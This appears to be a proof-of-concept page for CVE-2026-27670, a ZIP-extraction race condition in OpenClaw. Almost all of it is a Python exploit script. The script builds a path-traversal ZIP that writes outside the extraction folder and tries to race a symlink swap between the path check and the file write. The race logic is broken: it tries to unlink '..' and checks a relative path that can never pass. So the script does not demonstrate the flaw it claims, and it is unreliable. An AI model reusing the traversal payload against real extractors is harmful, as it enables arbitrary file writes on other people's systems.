CVE-2026-27670 OpenClaw ZIP提取竞态条件漏洞允许任意文件写入

#!/usr/bin/env python3 """ CVE-2026-27670 PoC - OpenClaw ZIP Extraction Race Condition This PoC demonstrates the TOCTOU race condition in ZIP extraction. Note: This is for educational purposes only. """ import zipfile import os import time import threading import tempfile import shutil def create_malicious_zip(): """Create a ZIP file with path traversal payload""" zip_path = '/tmp/malicious.zip' with zipfile.ZipFile(zip_path, 'w') as zf: # Payload: Write to parent directory via relative path zf.writestr('../../test_evil_file', 'Malicious content planted!') return zip_path def race_condition_exploit(): """ Exploit the TOCTOU race condition: 1. Create a safe-looking symlink during path check 2. Rebind symlink before file write to redirect to target """ extract_dir = tempfile.mkdtemp(prefix='openclaw_extract_') symlink_path = os.path.join(extract_dir, '..') # Simulate the vulnerable extraction logic def check_path(path): # Time-of-Check: Path appears safe normalized = os.path.normpath(path) return normalized.startswith(extract_dir) def write_file(path, content): # Time-of-Use: Write file (vulnerable to race) full_path = os.path.join(extract_dir, path) with open(full_path, 'w') as f: f.write(content) # Race condition: rebind parent directory between check and write def rebind_symlink(): time.sleep(0.001) # Tiny window for race try: # Rebind parent to /tmp to demonstrate escape if os.path.exists(symlink_path): os.unlink(symlink_path) os.symlink('/tmp', symlink_path) except: pass # Trigger race condition thread = threading.Thread(target=rebind_symlink) thread.start() # Simulate vulnerable extraction malicious_path = '../../test_evil_file' if check_path(malicious_path): write_file(malicious_path, 'Malicious content!') thread.join() # Cleanup shutil.rmtree(extract_dir, ignore_errors=True) if __name__ == '__main__': print('CVE-2026-27670 PoC - Race Condition in ZIP Extraction') create_malicious_zip() print('Malicious ZIP created: /tmp/malicious.zip') print('Running race condition exploit...') race_condition_exploit()